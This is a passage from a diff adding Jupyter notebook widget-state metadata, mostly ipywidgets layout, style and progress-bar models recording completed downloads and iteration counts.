null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e11583de8d894d3da80ef3bb1fe52e08", + "placeholder": "​", + "style": "IPY_MODEL_48e9b5493b8f4191b9707df7c83b0f50", + "value": "100%" + } + }, + "c2c64d6095704db88ec2210ae3cbfb35": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_94b45bc6f5e24cf3aa16f431bc7ed58a", + "IPY_MODEL_3f197b982242418bb24f4156db991c19", + "IPY_MODEL_a9d50ec01c8045af902bf580e92ab30c" + ], + "layout": "IPY_MODEL_ddebad755dce4da8887eb7f3d4dd49ba" + } + }, + "c30a4ba5e89d42bfbd3ad524b9ed1303": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_51a8aa7fde0c449392867b95a7aa6c16", + "placeholder": "​", + "style": "IPY_MODEL_d39253a104af48aab68a5590b0159487", + "value": "100%" + } + }, + "c327ed98ce284b84ae4cc89d9797b15f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_14aad595b905426b8d7fc4390bd755d8", + "IPY_MODEL_d876c82248f1418e83462dcc38f96469", + "IPY_MODEL_0f79fff269c349648fb6e15bf127a7c8" + ], + "layout": "IPY_MODEL_768863d6e7e747709c4413764e7e7093" + } + }, + "c3514684a02e496a875cb8fa0e86b449": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_0ace66c377a14034a594774ec024e074", + "IPY_MODEL_865a15f101944359bbf30226e4cc1c90", + "IPY_MODEL_5caac903dab34c119294cd4bfb65725c" + ], + "layout": "IPY_MODEL_cf013b91c09f493b94c050f224449336" + } + }, + "c3a851883eba4e11b70c705a5fae3ee2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6f03e27712e84cc49ad1a665c7537f12", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_f3d1f71549674156b493e3771784ec68", + "value": 20 + } + }, + "c4783205744246c99a52bb6bb8df3d7d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c4d2925dd1dd40bab2b22f09bf9497e6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8ce35b01fc9a4b6fbdd650491a58f188", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_18885db0114b49ee8eeb0af098b9a8c9", + "value": 20 + } + }, + "c4f63d6416174604a065f2dc2b8775a7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c59286b70fe74bbea779bbfae03e1a87": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_80e6d8758fe646e2a43d45e31d157b26", + "max": 492265879, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_fd5335a0dce5483bba6b91db1e32346e", + "value": 492265879 + } + }, + "c5ffdd678bd444d6b66bc7525947b716": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "c61940c9c4174fa8b515bbda3b612146": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_65947bf28d8c47059e1dae1f1d2f97b2", + "max": 334643276, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_93b5852ebf584c3e95ca3275b2c9b698", + "value": 334643276 + } + }, + "c65c5e6845254d47b6b0370b306b9eef": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c772f5d3ffca49a2a4c0d16a4469105c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c85450a2f1334f9aa43211929b1714e1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_1707f4e4e7a64dbb8a38f7042836bfb2", + "IPY_MODEL_3b9b27b4550c453f82f000c03d1209a7", + "IPY_MODEL_811695ab3aef4a368d2949af43b5f589" + ], + "layout": "IPY_MODEL_dfcd450b24d244ab86ccfc1b602a1d7e" + } + }, + "c964733e23d749a0bd2069fc80b5fce7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_c30a4ba5e89d42bfbd3ad524b9ed1303", + "IPY_MODEL_d9486e79630742c89fa5f6a104580064", + "IPY_MODEL_2c0421659acb482295485521efb6bb03" + ], + "layout": "IPY_MODEL_1431d8d8d9b04038b4e774fd743b78cd" + } + }, + "c9dd35af3a2449f7b2b7be3915b01a70": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_282151a48c29477cb45f8d46beb22f5e", + "max": 553, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_1895d19dcd574f56b7148ca7235fd0b4", + "value": 553 + } + }, + "cc1d355b4f6440fab9de50ccc5a268b8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4e3739037f2b44d2bd1ecaa20b29d70c", + "placeholder": "​", + "style": "IPY_MODEL_79b4c9681b0d496ab86f77b6b4902ad6", + "value": "100%" + } + }, + "cce1c917ad4a4b2c93369e249cd1c13c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ce20d1f9a55a42518c521eb5a1c8b414": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "cf013b91c09f493b94c050f224449336": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d11ce4de43984beab4937652c55419cb": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d138d9f2076c493da68ff7edb0bc36c7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f6239b69aa6e4ece90cdb6fabf707c57", + "placeholder": "​", + "style": "IPY_MODEL_881d8ed91e394981b6320122489fe8bc", + "value": " 492M/492M [00:07<00:00, 60.6MB/s]" + } + }, + "d1d635fff656454e9b0cdba740067c07": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d220c9f6c0684da98525ddfb0ccdf8f5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d3415f46386c49ce9593585d421657fa": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d39253a104af48aab68a5590b0159487": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d3e78f87ec5c4c3e9e1efafefadea3bd": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d5228dfbe50b4d078996b74d1b71ba28": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6b04b7bfcca645368b1287a3467bc3a1", + "placeholder": "​", + "style": "IPY_MODEL_4e8ec740f2ba45d1817c46b449e34423", + "value": " 20/20 [00:05<00:00, 3.72it/s]" + } + }, + "d5a6cb28917b48d4910903e016319aec": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ecc2c348430c471791a449784f5df44c", + "placeholder": "​", + "style": "IPY_MODEL_dd94c326988a41cd8b57f4dd9a26f499", + "value": " 10/10 [00:02<00:00, 3.89it/s]" + } + }, + "d6b66675891141aba38d8e8bd130c47c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "d7199c08026f4da58da262e192602fc4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_86c728930faa41bcad11875ca74af210", + "placeholder": "​", + "style": "IPY_MODEL_1fcc4a24bf9b4ec6aec98800a872966f", + "value": " 518/518 [00:00<00:00, 7.22kB/s]" + } + }, + "d7335eeea61f49a291bbc9f120c823e7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_21e6f865412f4787b04b69da0cafa300", + "max": 1059962, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_d6b66675891141aba38d8e8bd130c47c", + "value": 1059962 + } + }, + "d79c2804b05248d8989a1462716a3478": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d876c82248f1418e83462dcc38f96469": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f6787f179f0c4dc6b420085606784de9", + "max": 13, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_ab713f31f1d34894b4826a67de80daf3", + "value": 13 + } + }, + "d9069541f2f246b99881a937f384c7ab": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d9486e79630742c89fa5f6a104580064": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_acccd96a575d4a679112ff80c935f1c9", + "max": 10, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_9038138255b442b7b17885ab7f31aed1", + "value": 10 + } + }, + "dafd2b93bc6245a88e6631f306fc1e9b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f38555fda53a4edf92271a97db3f7dd5", + "placeholder": "​", + "style": "IPY_MODEL_8f135d6a55484caf92a325c375e16005", + "value": "100%" + } + }, + "db498aee51494067b6ad507e47f37bd4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ce20d1f9a55a42518c521eb5a1c8b414", + "max": 50, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_f019b7a1faf1469c87b048319a9b71ef", + "value": 50 + } + }, + "dc16acab929344cab2be08d297182843": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dc22f7fca8eb4d258406b3b53af177cc": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + 